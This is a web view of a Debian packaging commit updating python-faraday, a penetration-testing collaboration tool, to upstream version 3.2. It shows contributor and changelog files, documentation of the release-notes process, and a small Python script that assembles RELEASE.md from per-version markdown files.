Codebase list python-faraday / 7b41aaf
Update upstream source from tag 'upstream/3.2' Update to upstream version '3.2' with Debian dir 2b81e35e87e9f3d168b1e09c078069c96ebccb17 Sophie Brun 5 years ago
49 changed file(s) with 13076 addition(s) and 11866 deletion(s). Raw diff Collapse all Expand all
3333 * Jorge Luis Gonzalez Iznaga
3434 * Juan Urbano
3535 * Korantin Auguste
36 * logdot
3637 * Martin Tartarelli
3738 * Mike Zhong (go bears)
3839 * Necrose99
4344 * tsxltjecwb
4445 * Ulisses Albuquerque
4546 * xtr4nge
47
0 October 17th, 2018
0 * Added logical operator AND to status report search
1 * Restkit dependency removed.
2 * Improvement on manage.py change-password
3 * Add feature to show only unconfirmed vulns.
4 * Add ssl information to manage.py status-check
5 * Update wpscan plugin to support latest version.
6 * Allow workspace names starting with numbers.
0 The **RELEASE.md** generation process is as follows:
1
2 * An _CHANGELOG_ folder, containing files for the wanted generated **RELEASE.md** (release file upon now)
3 * As root of this folder, we have:
4 * A folder **for each** version, each one containing various (0 to multiple) .md one line file, explaining a single change released in the proper version
5 * The version folder can contains a _date.md_ file, which contains the realease date
6 * The only reserved file names are _white.md, pink.md, black.md_ and _date.md_
7 * Any other file not ending in .md will be ignored
8 * _header.md_, md format lines at the beginning of the release file
9 * _footer.md_, md format lines at the ending of the release file
10 * _changelog.py_, a python file, which will generate the release file
11 * The python file process is:
12 * Iterate over all the version folder in sorted order, joining all .md files in only one ( _white/pink/black.md_ ) in the proper version folder.
13 * Generate the release file as header/v0file.md/.../vnfile.md/footer
14 * The release step-by-step generation should be:
15 1. Checkout white/master and go to CHANGELOG/
16 1. Run _changelog.py_ (All .md file will be compressed to _white.md_ files, excluding reserved filenames files)
17 1. Replace _old **RELEASE.md**_ with new generated file
18 1. Git add CHANGELOG/
19 1. Commit & push
20 1. Checkout pink/master and go to CHANGELOG/
21 1. Merge white/master
22 1. Run _changelog.py_ (All .md file will be compressed to _pink.md_ files, excluding reserved filenames files)
23 1. Replace _old **RELEASE.md**_ with new generated file
24 1. Git add CHANGELOG/
25 1. Commit & push
26 1. Checkout black/master and go to CHANGELOG/
27 1. Merge pink/master
28 1. Run _changelog.py_ (All .md file will be compressed to _black.md_ files, excluding reserved filenames files)
29 1. Replace _old **RELEASE.md**_ with new generated file
30 1. Git add CHANGELOG/
31 1. Commit & push
0 IMPORTANT
1 ===========
2
3 Please be kind to remove all your pyc files before running faraday if you are updating this piece of software.
4 Make sure you run ```./faraday.py --update``` the first time after an update!
5
6
7 New features in the latest update
8 =====================================
9
10
11 3.2 [October 17th, 2018]:
12 ---
13 * Added logical operator AND to status report search
14 * Restkit dependency removed.
15 * Improvement on manage.py change-password
16 * Add feature to show only unconfirmed vulns.
17 * Add ssl information to manage.py status-check
18 * Update wpscan plugin to support latest version.
19 * Allow workspace names starting with numbers.
20
21 September 21, 2018:
22 ---
23 * Fix bug: manage.py status_check
24 * Fix bug: manage.py initdb
25
26 September 17, 2018:
27 ---
28 * Fix get exploits API
29 * New searcher feature
30 * Added host_os column to status report
31 * Fix and error while trying to execute server with --start
32 * Added option --choose-password to initdb
33 * Continous scan updated for Nessus 7
34 * Refactor on server.config to remove globals
35 * Added a directory for custom templates for executive reports (pro and corp)
36 * Activity feed shows more results and allows to filter empty results
37 * Allow ot create workspace that start with numbers
38 * Added more variables to executive reports (pro and corp)
39 * Fixed some value checking on tasks api (date field)
40 * OpenVas plugin updated
41 * Appscan plugin update
42 * Added no confirmed vulns to report api
43 * Fixed a bug on workspace API when the workspace already exists on database
44 * Fix owner filter on status report
45 * Fixes on import_csv fplugin when the api returned 409
46 * Fixes on status_check
47 * Fixed a bug on webui when workspace permission was changed (pro and corp)
48 * Update nexpose plugin
49 * uigrid library updated to latest version
50 * Bug fix on plugin automatic detection
51 * Fixed a bug on executive reports when multiple reports were scheduled
52 * Avoid closing the executive report and new vuln modal when the form has data
53 * Status report open new tab for evidence
54 * added change_password to manage.py
55 * Update wapiti plugin
56 * Fixed vuln count on executive report (pro and corp)
57 * Fixed css align in some tables
58 * Fixed No ports available error on the client
59
60 August 17, 2018:
61 ---
62 * Updated code to use Flask 1.0
63 * Add threadfix integration (corp only)
64 * Fix create_service fplugin
65 * Executive report bug fix on tags
66 * Persistence server bug fix on impact and ease of resolution
67 * Fix unicode error bug on executive reports
68 * Updated code to support latest Twisted version
69 * Updated all requirements to use >=
70 * Fix dry run on create_host fplugin
71 * Fixed del_all_vulns_with and del_all_hosts
72 * Improved executive reports status update refresh
73 * Websocket port is configurable now
74 * Change minimum font size in tag cloud
75 * Fixed a problem with shodan icon on dashboard
76 * Updated license check on deleted users
77 * Users with role client was not able to change password, bug fixed
78 * Updated code to support pip 10
79 * Added ldap to status check
80 * Credentials icon aligned
81 * Deamon now allows to execute faraday sever in more than one port and more than one process for multiplexation
82 * All views now check for permissions on workspace
83 * Pull requests #229, #231, #239 and #240 are merged
84 * Avoid polling deleted executive reports
85 * Added documentation to project
86 * Fix self xss on webshell
87 * Add postgres locks check on status_check
88 * Vuln counter fix when confirmed is on
89
90 July 26, 2018:
91 ---
92 * Interface removed from model and from persistence server lib (fplugin)
93 * Performance iprovements on the backend
94 * Add quick change workspace name (from all views)
95 * Changed the scope field of a workspace from a free text input to a list of targets
96 * New faraday styles in all webui views
97 * Add search by id for vulnerabilities
98 * Add new plugin sslyze
99 * Add new plugin wfuzz
100 * Add xsssniper plugin
101 * Fix W3af, Zap plugins
102 * Add brutexss plugin
103 * Allow to upload report file from external tools from the web
104 * Fix sshcheck import file from GTK
105 * Add reconng plugin
106 * Add sublist3r plugin
107 * Add HP Webinspect plugin
108 * Add dirsearch plugin
109 * Add ip360 plugin
110 * CouchDB was replaced by PostgreSQL :)
111 * Host object changed, now the name property is called ip
112 * Interface object was removed
113 * Note object was removed and replaced with Comment
114 * Communication object was removed and replaced with Comment
115 * Show credentials count in summarized report on the dashboard
116 * Remove vuln template CWE fields, join it with references
117 * Allow to search hosts by hostname, os and service name
118 * Allow the user to specify the desired fields of the host list table
119 * Add optional hostnames, services, MAC and description fields to the host list
120 * Workspace names can be changed from the Web UI
121 * Exploitation and severity fields only allow certain values. CWE CVEs were fixed to be valid. A script to convert custom CSVs was added.
122 * Web UI path changed from /_ui/ to / (_ui has now a redirection to / for keeping backwards compatibility)
123 * dirb plugin creates an informational vulnerability instead of a note.
124 * Add confirmed column to exported csv from webui
125 * Fixes in Arachni plugin
126 * Add new parameters --keep-old and --keep-new for faraday CLI
127 * Add new screenshot fplugin which takes a screenshot of the ip:ports of a given protocol
128 * Add fix for net sparker regular and cloud fix on severity
129 * Removed Chat feature (data is kept inside notes)
130 * Add CVSS score to reference field in Nessus plugin.
131 * Fix unicode characters bug in Netsparker plugin.
132 * Fix qualys plugin.
133 * Fix bugs with MACOS and GTK.
134
135 April 10, 2018:
136 ---
137 * Fix bug with tornado version 5.0 and GTK client.
138
139 November 17, 2017:
140 ---
141 * Fix bug with tags in models.
142
143 November 5, 2017:
144 ---
145 * Added "Last modified" and "Created" in Hosts view
146 * Fixed bug when trying to run Faraday as second process and closing the terminal (&!)
147 * Fixed bug where it asked for dependencies eternally when you have a different version than the one required
148 * Fixed small bug in the update_from_document method
149 * Fixed bug, makes the python library dependencies specific to the desired version
150 * Fixed GitHub language bar to reflect real code percentage
151 * Merge PR #195: Create gentoo_requirements_extras.txt (New Github wiki page)
152 * Merge PR #225: Add references to found vulnerabilities in nmap plugin
153 * New plugin: Netsparker cloud
154 * New plugin: Lynis (Winner of Faraday Challenge 2017)
155 * New Fplugin: changes the status of all vulnerabilities of an specific workspace to closed
156 * New Fplugin: combines the "create_interface" and "create_host" scripts into one (create_interface_and_host script)
157 * New Fplugin: import_csv , now you can import Faraday objects from a CSV
158
159 August 11, 2017:
160 ---
161 * Add check to the vuln creation modal for empty targets in the Web UI
162
163 August 9, 2017:
164 ---
165 No changes
166
167 August 7, 2017:
168 ---
169 * Updated Core Impact plugin to be compatible with 2016 version
170 * Improved loading of fields request and website in Burp Plugin
171 * Improved Nexpose Full plugin
172 * Improved Acunetix plugin to avoid conflicts and missing imported data, and to correctly parse URLs and resolutions
173
174 July 19, 2017:
175 ---
176 * Added the ability to select more than one target when creating a vuln in the Web UI
177 * Merged PR #182 - problems with zonatransfer.me
178 * Fixed bug in Download CSV of Status report with old versions of Firefox.
179 * Fixed formula injection vulnerability in export to CSV feature
180 * Fixed DOM-based XSS in the Top Services widget of the dashboard
181 * Fix in AppScan plugin.
182 * Fix HTML injection in Vulnerability template.
183 * Add new plugin: Junit XML
184 * Improved pagination in new vuln modal of status report
185 * Added "Policy Violations" field for Vulnerabilities
186
187 May 24, 2017:
188 ---
189 * Fixed bug when editing workspaces created in GTK
190 * Improved host search in the WEB UI
191 * Extended the config to support different searching engines in the WEB UI
192 * Check that client and server versions match when connecting
193 * Adds the 'v' and 'version' argument for both the server and the client
194 * Fixed "refresh" button in the Web UI
195 * Fix API on /ws/<workspace> with duration object None
196 * Added a CRUD for Credentials to the Web UI
197 * Bug fixes on the Burp Online Plugin
198 * Added a script to connect with Reposify
199 * Fixed Hostname import in Nessus Plugin
200 * Make plugin methods log() and devlog() work again
201 * Fixed bug in SQLMap plugin that made the client freeze
202 * Improved SQLMap plugin to support more options and to show errors in GTK log console
203 * Fixed bug when creating/updating Credentials
204 * Improve plugins usage of vulnweb URL fields
205 * Fixed order of Report Plugins in the GTK import list
206
207 March 17, 2017:
208 ---
209 * Added link to name column in Hosts list
210 * Created a requirements_extras.txt file to handle optional packages for specific features
211 * Fixed bug in SQLMap plugin that made the client freeze
212 * Fixed bug when creating/updating Credentials
213 * Fixed bug in the WEB UI - menu explanation bubbles were hidden behind inputs
214 * Fixed conflict resolution when the object was deleted from another client before resolving the conflict
215 * Improved fplugin
216 * Improved the installation process
217 * Improved SQLMap plugin to support --tables and --columns options
218 * Improved navigation in Web UI
219 * Merged PR #137 - CScan improvements: bug fixing, change plugin format and removed unnecessary file output
220 * Merged PR #173 - Hostnames: added hostnames to plugins
221 * Merged PR #105 - OSint: added the possibility of using a DB other than Shodan
222 * The Status Report now remembers the sorting column and order
223
224 February 8, 2017:
225 ---
226 * Fixed max amount of vulns pagination bug in Web UI
227 * Fixed Maltego plugin
228
229 January 30, 2017:
230 ---
231 * Added an activity feed panel in the Dashboard.
232 * Added AppScan plugin.
233 * Improved Burp's Online plugin. Added fields and removed HTML tags.
234 * Refactor remaining modules to be compatible with JS Strict Mode.
235 * Fixed bug that prevented GTK from closing when user clicked CANCEL on WS creation.
236 * Fixed size of Workspace creation dialog.
237 * New cwe databases: English and Spanish.
238 * Added Hping plugin.
239 * Enhancements to Wpscan plugin.
240
241 November 10, 2016:
242 ---
243 * New library to connect with Faraday Server.
244 * Fixed Fplugin, now it uses the new library to communicate with the Server.
245 * New field for Vulnerabilities: plugin creator and status.
246 * Refactor in Faraday Core and GTK Client.
247 * Bug fixing in Faraday Client and Server.
248 * Added Faraday news notifications in GTK and Web UI.
249 * New plugins: Dirb, Netdiscover, FruityWifi, Sentinel.
250 * Improvements on the WPscan plugin.
251 * Fixed Licenses search.
252 * Refactor Licenses module to be compatible with JS Strict Mode.
253
254 September 19, 2016:
255 ---
256 * Major refactor of Faraday Client: now we support massive workspaces (100.000+ hosts).
257 * Fixed more than 10 minor bugs on the Web UI.
258 * Fixed searching with spaces character on Web UI
259 * Updated URL shown when starting Faraday.
260 * Dashboard is now refreshed automatically every 60 seconds.
261 * Fixed Propecia plugin.
262 * New plugin: WPscan
263 * Host Sidebar on GTK now adds information more intelligently and will never block the application.
264 * Evidence screenshots in report generation is now bigger.
265 * Help menu in GTK with links to interesting links.
266 * Added Help section to WEB UI.
267
268 August 12, 2016:
269 ---
270 * Added Faraday Server
271 * Improved performance in web UI
272 * Added some basic APIs to Faraday Server
273 * Added licenses management section in web UI
274 * Totally removed QT3, GTK is now the only GUI
275 * Deprecated FileSystem databses: now Faraday works exclusively with Faraday Server and CouchDB
276 * Added a button to go to the Faraday Web directly from GTK
277 * Fixed bug when deleting objects from Faraday Web
278 * Fixed bug where icons where not copied to correct folder on initialization
279 * Fixed bug where current workspace wouldn't correspond to selected workspace on the sidebar on GTK
280 * Fixed bug in 'Refresh Workspace' button on GTK
281 * Fixed bug where Host Sidebar and Statusbar information wasn't correctly updated on GTK
282 * Fixed bug in service editing
283 * Fixed sqlmap plugin
284 * Fixed metapsloit plugin
285
286 Jul 1, 2016:
287 ---
288 * GTK is the default interface now.
289 * Added new plugin : Ndiff.
290 * Added new plugin : Netcat (Gnu netcat - OpenBSD netcat - Original netcat)
291 * Added button to edit your host in the GTK interface.
292 * Hosts sidebar now can be sorted by amout of vulnerabilities and OS.
293 * Changes in installation: install.sh now installs only GTK, QT is considered deprecated.
294 * Changes in installation: Faraday now runs with the last versions of Python modules.
295 * Changes in installation: fixed names of packages in setup_server.sh
296 * Usability: Enter key in GTK dialogs works as OK button
297 * Improved handling of lost connection to CouchDB database
298 * First steps towards deprecating Filesystem databases
299 * Fixed a bug when workspace was changed
300 * Fixed a bug with Import Reports Dialog in GTK GUI on OS X.
301 * Fixed a bug with Ctrl+Shift+C and Ctrl+Shift+V in some desktops managers.
302 * Fixed a bug with mapper of vulnerabilities.
303
304 Jun 13, 2016:
305 ---
306 * Added Import Report dialog to Faraday GTK
307 * Added a 'Loading workspace...' dialog to Faraday GTK
308 * Added host sidebar to Faraday GTK
309 * Added host information dialog to Faraday GTK with the full data about a host, its interfaces, services and vulnerabilities
310 * Added support for run faraday from other directories.
311 * Fixed log reapparing after being disabled if user created a new tab
312 * Fixed bug regarding exception handling in Faraday GTK
313 * Now Faraday GTK supports Ctrl+Shift+C / Ctrl+Shift+V to Copy/Paste
314 * Faraday will now not crash if you suddenly lose connection to your CouchDB
315
316 May 23, 2016:
317 ---
318 * Removed description from Hosts list in WEB UI
319 * Fixed sort in Hosts list in WEB UI
320 * Fixed ports sorting in Host view in WEB UI
321 * Added search link for OS in Hosts list in WEB UI
322 * Removed description from Services list in WEB UI
323 * Added version to Services list in WEB UI
324 * Modified false values in Hosts list in WEB UI
325 * Added search links in Services list in WEB UI
326 * Added scrollbar in Gtk Terminal.
327 * Added workspace status in Gtk interface
328 * Added conflict resolution support for the Gtk interface
329 * Added search entry for workspaces in Gtk
330 * Added support for 'exit' command inside Faraday's Gtk terminal
331 * Improved handling of uncaught exceptions in Gtk interface
332 * Improved text formatting in Gtk's log console
333 * Fixed several small bugs in Faraday GTK
334 * Added support for resize workspace bar.
335 * Added a quote for imported reports in WEB UI.
336 * Added support for a new type of report in Qualysguard plugin.
337 * Fixed bugs in plugins: Acunetix - Nmap - Nikto.
338
339 Apr 29, 2016:
340 ---
341 * Added Open services count to Hosts list in WEB UI
342 * Improved zsh integration
343 * Added GTK3 interface prototype
344 * Added plugin detection through report name
345 * Fixed an error in wcscan script
346 * Fixed nikto plugin
347 * Fixed openvas plugin
348
349 Apr 04, 2016
350 ---
351 * Added cli mode (see wiki for usage instructions)
352 * Support for multiple Faraday instances in the same host
353 * Fixed bug for editing web vulns in bulk
354 * Fixed bug for select all in web UI
355 * Fixed bugs in Qualys, ZAP, nikto, w3af, openVas plugins
356 * Added some new scripts and helpers
357
358
359 Feb 26, 2016:
360 ---
361 * Fixed bug in pip debian
362 * BugFix pip install.
363 * Checks additionals about dependencies in installation.
364 * Warning about a upgrade to experimental in debian installation.
365 * Fixed small bug in CSV importing
366 * Fixed styles for Status Report
367 * Fixed bug on Status Report filter after editing
368 * Added support for Kali Rolling Edition
369 * Notify user when the current Workspace doesn't exist
370 * Show all evidence files in Status Report
371 * Added script to remove all vulns with a specific severity value (parameterized)
372 * Fixed Arachni Plugin bugs
373 * Added new version for Maltego Plugin
374 * Added support for Mint 17
375
376 Dec 18, 2015:
377 ---
378 * Immunity Canvas plugin added
379 * Added Dig plugin
380 * Added Traceroute plugin
381 * Fixed bug in first run of Faraday with log path and API errors
382 * Added parametrization for port configuration on APIs
383 * Refactor Plugin Base to update active WS name in var
384 * Refactor Plugins to use current WS in temp filename under $HOME/.faraday/data. Affected Plugins:
385 - amap
386 - dnsmap
387 - nmap
388 - sslcheck
389 - wcscan
390 - webfuzzer
391 - nikto
392 * Fixed bug get_installed_distributions from handler exceptions
393 * Added Wiki information about running Faraday without configuring CouchDB
394 * Fixed Unicode bug in Nexpose-full Plugin
395 * Filter false-positives in Status Report
396 * Fixed bug that prevented the use of "reports" and "cwe" strings in Workspace names
397 * Added port to Service type target in new vuln modal
398 * Added new scripts for faraday plugin:
399 - /bin/delAllVulnsWith.py - delete all vulns that match a regex
400 - /bin/getAllbySrv.py - get all IP addresses that have defined open port
401 - /bin/getAllIpsNotServices.py added - get all IPs from targets without services
402 * Fixed bug null last workspace
403 * Fixed bugs in CSV export/import in QT
404
405 Oct 2, 2015:
406 ---
407 * Continuous Scanning Tool cscan added to ./scripts/cscan
408 * Fix for saving objects without parent
409 * Hosts and Services views now have pagination and search
410 * Updates version number on Faraday Start
411 * Visual fixes on Firefox
412 * Migrate graphs from D3.js to Chart.js
413 * Added Services columns to Status Report
414 * Added sections of Commercial versions
415 * Converted references to links in Status Report. Support for CVE, CWE, Exploit Database and Open Source Vulnerability Database
416 * Added Peepingtom, SSHdefaultscan and pasteAnalyzer plugins
417 * Fixed Debian install
418
419 Sep 10, 2015:
420 ---
421 * Adding filename path information of report imported in history command
422 * Remove old couchdb upgrade process
423 * Adding Iceweasel browser > 38.2.0 support
424 * Adding more navigability in differents GUI Web (Dashboard/Services/Views)
425 * Fixed bug copy clipboard offline (update path of ngClip dependeces)
426 * Added class to set colors to severities in new/edit vuln view
427 * Medusa, Hydra & Metasploit plug-in now added discovered weak credentials as a vulnerability
428 * Nmap plug-in applyies a severity depending on the result of a NSE script
429 * Fixed small bug for empty ease of resolution
430 * Adding more time to generation shells QT
431 * Added "Search in Shodan" links in different views (Status Report, Host View, Service View)
432 * Removed required of name field service bulk edition
433 * Added ng-disabled on Edit button if select more of 1 host on Host View WEB UI
434 * Refactored GUI Web:
435 Icon added for Modal Error
436 OS, Creator, Date for modal-services-by-host.html
437 Fixed typo in Host Edit, the popup message was wrong
438 First version for in estilos.css for clear mode
439 Also, added hover to grey boxes in the Dashboard.
440 * Added vulns count for Hosts in WEB UI
441 * Updated w3af plugin to support report version 1.7.6
442 * Ignored cwe database from updater and QT views
443 * Plugin for Nexpose XML Export 2.0
444 * Added masscan plugin (1.0.3)
445
446 Aug 19, 2015:
447 ---
448 * Exported CSV contains filters and columns from Status Report in WEB UI
449 * Vulnerability counter on Status Report in WEB UI
450 * Added quick vuln edit and delete in WEB UI
451 * Expanded Unit Tests for WEB UI
452 * XML Cleaner
453 * Kali 2.0 support
454 * Improve plugins running status log (Adding log information on report importing)
455 * Clean dev log on plugins
456 * w3af plugin refactoring
457 * Fix Debian 7/8.1 install support
458
459 Aug 05, 2015:
460 ---
461
462 * Added CWE database and integration with vulns creation
463 * Added ENTER shortcut on modals
464 * Progress bar for workspace in the dashboard
465 * Bug fixing in workspaces and status report components
466 * Unit testing for vulns, status report and workspaces components
467 * Debian 8.1 support
468
469
470 Jun 30, 2015:
471 ---
472
473 * Added hosts CRUD
474 * Added services CRUD
475 * Fix ubuntu 15.04 installation bug
476 * Small bug in burp plugin "Import new vulnerabilities" checkbox issue
477 * Added an interactive visualization to calculate the value of a Workspace
478 * Fixed several bugs in WEB UI
479 * Added a URL filter functionality to the status report, allowing searches by fields
480
481
482 Apr 17, 2015:
483 ---
484 * You can get the new version here:
485 * https://github.com/infobyte/faraday/archive/v1.0.10.tar.gz
486
487 Changes:
488
489 * Styles changes in WEB UI: fancy component selection, improved workspaces selection.
490
491 Bugfixes:
492 * Date on Workspace creation
493 * Tables in Firefox
494
495
496 Apr 7, 2015:
497 ---
498 You can get the new version here:
499 * https://github.com/infobyte/faraday/archive/v1.0.9.tar.gz
500
501 Changes:
502
503 * Performance improvement in the dashboard
504 * Fix bug OSX install
505 * Bug fixes
506
507
508 Mar 9, 2015:
509 ---
510 You can get the new version here:
511
512 * https://github.com/infobyte/faraday/archive/v1.0.8.tar.gz
513
514 Changes:
515
516 * WcScan script and plugin (scripts/wcscan.py)
517 * New Dashboard D3 with AngularJS
518 * Easy access to Vulnerability pages in the Status Report
519 * Easy access to the Host pages on the dashboard
520 * Creation and Editing capabilities for the Workspace from the UI Web
521 * Support installation for the latest version of Debian/Ubuntu/Kali
522 * sqlmap version 1.0-dev support updated
523 * API Status Check in both ZSH & QT GUI
524 * Field added for resolution of vulnerabilities classification with plug-ins updated to support the new function.
525 * Field added for rating "ease of resolution" for vulnerabilities
526 * Adjustments for Resolution field
527
528 * New Faraday plugin for Burp. Version 1.2
529 -Corrections for the vulnerabilities duplication for the burp plugin
530 -New tab section to configure the new Vulnerabilities downloads for Faraday
531
532 * Automated backup for couch database
533 * Ability to upload evidence of a vulnerability (as an attachment)
534 * Ability to assign Vulnerability Impact (confidentiality, integrity, availability).
535
536 Dec 12, 2014:
537 ---
538 You can get the new version here:
539
540 * https://github.com/infobyte/faraday/archive/v1.0.7.tar.gz
541
542 Changes:
543
544 * Improved Vulnerability Edition usability, selecting a vuln will load it's content.
545 * ZSH UI now is showing notifications.
546 * ZSH UI now is showing active workspace.
547 * Faraday now asks confirmation on exit, If you have pending conflicts to solve it will show the number of each.
548 * Vulnerability creation is now suported in the status report.
549 * Introducing SSLCheck, a tool for verify bugs in SSL/TLS Certificates on remote hosts. This is integrated with Faraday with a plugin.
550 * Shodan Plugin is now working with the new API.
551 * Some cosmetic changes in the status report.
552
553 Bugfixes:
554
555 * Sorting collumns in the Status Report now is working.
556 * Workspace icon is based on the type of the workspace.
557 * Opening the reports in QT UI now opens the active workspace.
558 * UI Web dates fixes, we were showing dates with a off-by-one error.
559 * Vulnerability edition was missing 'critical' severity.
560 * Objects merge bugfixing
561 * Metadata recursive save fix
562
563
564
565 Nov 7, 2014:
566 ---
567 You can get the new version here:
568
569 * https://github.com/infobyte/faraday/archive/v1.0.6.tar.gz
570
571 Changes:
572
573 * Status report modifications:
574 * Web vulnerability edition support.
575 * Variable columns in status report.
576 * New field called "Data" with extra information about a vulnerability.
577 * Bug fixes
578
579
580 Oct 17, 2014:
581 ----
582 * https://github.com/infobyte/faraday/commit/a81c6376ed47a2f7b501c8f48f2179eb7c5d58b9
583
584 Status report now have edition capabilities
585 Introducing batch vulnerability edition and deletion. Now you can edit your status report.
586
587 Lots of bug fixes
588
589 Ubuntu 14.04 support fixes
590 Mac support fixes
591
592
593 Sep 26, 2014:
594 ----
595 * https://github.com/infobyte/faraday/commit/440858ec8172193ce401bbf6a5f4b3052edb6edb
596
597 New Dashboard design with summarized information.
598
599 D3.js Fancy visualizations.
600
601 Vulnerability Status report.
602
603 Command run user/host identification.
604
605 Vulnerability Statistics.
606
607 Optimization Refactor.
608
609 Jun 06, 2014:
610 ----
611
612 * https://github.com/infobyte/faraday/commit/e616bdb44b089bfccf2405e51837eeae5d403b9f
613
614 Notifications: Updating objets on faraday now results in a beautiful
615 notification in the QT ui.
616
617 Performance: Enhacing performance when lots of workspaces are available.
618 We now load each workspace whe it's needed instead of loading ahead the
619 full workspace list.
620
621 UI: Workspace split, now you can select the workspace to visualize. We
622 are now using bootstrap.
623
624 API: New operations on the Rest API (this is just for the following UI
625 modifications). Vulnerability update and delete operations.
626
627 May 14, 2014:
628 ----
629
630 * https://github.com/infobyte/faraday/commit/9dfa9ad23dfe450ceb65d38074d55f07425aa90a
631
632 Improving (web interface, vulnerability classification)
633
634 Apr 30, 2014:
635 ----
636
637 * https://github.com/infobyte/faraday/commit/931865fd4bd9c5fbd1a237b52659b1c873e1fcbf
638
639 MacOS Support
640
641 Apr 04, 2014:
642 ----
643 * https://github.com/infobyte/faraday/commit/0fe6978fe41dc85cd8540c2f26074f3e3f57507f
644
645 We are proud to present two new features that will enhace the Faraday experience.
646 Taking feedback from our users we took account that each of them had particular needs from their consoles (completion, size, fonts, so on so forth) and their need to be able to know what commands where run during an engagement.
647
648 * A brand new ZSH based Terminal UI
649 * The Command Run execution history
0 import os
1 import packaging.version
2
3 LEVEL = "white"
4
5 def match(elem):
6 try:
7 ans = packaging.version.Version(elem)
8 except packaging.version.InvalidVersion as e:
9 # print folder/file ommited
10 return False
11 return ans
12
13 IGNORED_FILES = ["white.md", "pink.md", "black.md", "date.md"]
14
15 def addFile(filename,changelog_file,to=None):
16 with open(filename, "r") as date_file:
17 if to:
18 changelog_file.write(date_file.readline()[:to])
19 else:
20 changelog_file.writelines(date_file.readlines())
21
22 def main(level):
23
24 ls_ans = os.listdir(".")
25 folders = list(sorted(filter(lambda el: el, map(lambda elem: match(elem),ls_ans)),reverse=True))
26 with open("RELEASE.md","w") as changelog_file:
27 if "header.md" in ls_ans:
28 with open("header.md", "r") as header_file:
29 changelog_file.writelines(header_file.readlines())
30 changelog_file.writelines("\n\n")
31 for folder in folders:
32 changelog_file.write(str(folder))
33 inner_files = list(filter(lambda elem: elem.endswith(".md") ,os.listdir("./" + str(folder))))
34 if "date.md" in inner_files:
35 changelog_file.write(" [")
36 addFile("./" + str(folder) + "/date.md",changelog_file,-1)
37 changelog_file.write("]")
38 changelog_file.writelines(":\n---\n")
39 if level != "white":
40 addFile("./" + str(folder) + "/white.md",changelog_file)
41 if level == "black":
42 addFile("./" + str(folder) + "/pink.md",changelog_file)
43 level_filename = "./" + str(folder) + "/" + level + ".md"
44
45 previous = [""]
46 if level + ".md" in os.listdir("./" + str(folder)):
47 with open(level_filename, "r") as level_file:
48 previous = level_file.readlines()
49
50 with open(level_filename, "w") as level_file:
51 level_file.writelines(previous)
52 for inner_file_name in inner_files:
53 if inner_file_name not in IGNORED_FILES:
54 level_file.write(" * ")
55 addFile("./" + str(folder) + "/" + inner_file_name, level_file)
56 level_file.write("\n")
57 os.remove("./" + str(folder) + "/" + inner_file_name)
58 addFile(level_filename, changelog_file)
59 changelog_file.writelines("\n")
60
61 if "footer.md" in ls_ans:
62 with open("footer.md", "r") as footer_file:
63 changelog_file.writelines(footer_file.readlines())
64
65
66 if __name__ == '__main__':
67 level = LEVEL # if not level_passed else level_pased
68 main(level)
69
0 September 21, 2018:
1 ---
2 * Fix bug: manage.py status_check
3 * Fix bug: manage.py initdb
4
5 September 17, 2018:
6 ---
7 * Fix get exploits API
8 * New searcher feature
9 * Added host_os column to status report
10 * Fix and error while trying to execute server with --start
11 * Added option --choose-password to initdb
12 * Continous scan updated for Nessus 7
13 * Refactor on server.config to remove globals
14 * Added a directory for custom templates for executive reports (pro and corp)
15 * Activity feed shows more results and allows to filter empty results
16 * Allow ot create workspace that start with numbers
17 * Added more variables to executive reports (pro and corp)
18 * Fixed some value checking on tasks api (date field)
19 * OpenVas plugin updated
20 * Appscan plugin update
21 * Added no confirmed vulns to report api
22 * Fixed a bug on workspace API when the workspace already exists on database
23 * Fix owner filter on status report
24 * Fixes on import_csv fplugin when the api returned 409
25 * Fixes on status_check
26 * Fixed a bug on webui when workspace permission was changed (pro and corp)
27 * Update nexpose plugin
28 * uigrid library updated to latest version
29 * Bug fix on plugin automatic detection
30 * Fixed a bug on executive reports when multiple reports were scheduled
31 * Avoid closing the executive report and new vuln modal when the form has data
32 * Status report open new tab for evidence
33 * added change_password to manage.py
34 * Update wapiti plugin
35 * Fixed vuln count on executive report (pro and corp)
36 * Fixed css align in some tables
37 * Fixed No ports available error on the client
38
39 August 17, 2018:
40 ---
41 * Updated code to use Flask 1.0
42 * Add threadfix integration (corp only)
43 * Fix create_service fplugin
44 * Executive report bug fix on tags
45 * Persistence server bug fix on impact and ease of resolution
46 * Fix unicode error bug on executive reports
47 * Updated code to support latest Twisted version
48 * Updated all requirements to use >=
49 * Fix dry run on create_host fplugin
50 * Fixed del_all_vulns_with and del_all_hosts
51 * Improved executive reports status update refresh
52 * Websocket port is configurable now
53 * Change minimum font size in tag cloud
54 * Fixed a problem with shodan icon on dashboard
55 * Updated license check on deleted users
56 * Users with role client was not able to change password, bug fixed
57 * Updated code to support pip 10
58 * Added ldap to status check
59 * Credentials icon aligned
60 * Deamon now allows to execute faraday sever in more than one port and more than one process for multiplexation
61 * All views now check for permissions on workspace
62 * Pull requests #229, #231, #239 and #240 are merged
63 * Avoid polling deleted executive reports
64 * Added documentation to project
65 * Fix self xss on webshell
66 * Add postgres locks check on status_check
67 * Vuln counter fix when confirmed is on
68
69 July 26, 2018:
70 ---
71 * Interface removed from model and from persistence server lib (fplugin)
72 * Performance iprovements on the backend
73 * Add quick change workspace name (from all views)
74 * Changed the scope field of a workspace from a free text input to a list of targets
75 * New faraday styles in all webui views
76 * Add search by id for vulnerabilities
77 * Add new plugin sslyze
78 * Add new plugin wfuzz
79 * Add xsssniper plugin
80 * Fix W3af, Zap plugins
81 * Add brutexss plugin
82 * Allow to upload report file from external tools from the web
83 * Fix sshcheck import file from GTK
84 * Add reconng plugin
85 * Add sublist3r plugin
86 * Add HP Webinspect plugin
87 * Add dirsearch plugin
88 * Add ip360 plugin
89 * CouchDB was replaced by PostgreSQL :)
90 * Host object changed, now the name property is called ip
91 * Interface object was removed
92 * Note object was removed and replaced with Comment
93 * Communication object was removed and replaced with Comment
94 * Show credentials count in summarized report on the dashboard
95 * Remove vuln template CWE fields, join it with references
96 * Allow to search hosts by hostname, os and service name
97 * Allow the user to specify the desired fields of the host list table
98 * Add optional hostnames, services, MAC and description fields to the host list
99 * Workspace names can be changed from the Web UI
100 * Exploitation and severity fields only allow certain values. CWE CVEs were fixed to be valid. A script to convert custom CSVs was added.
101 * Web UI path changed from /_ui/ to / (_ui has now a redirection to / for keeping backwards compatibility)
102 * dirb plugin creates an informational vulnerability instead of a note.
103 * Add confirmed column to exported csv from webui
104 * Fixes in Arachni plugin
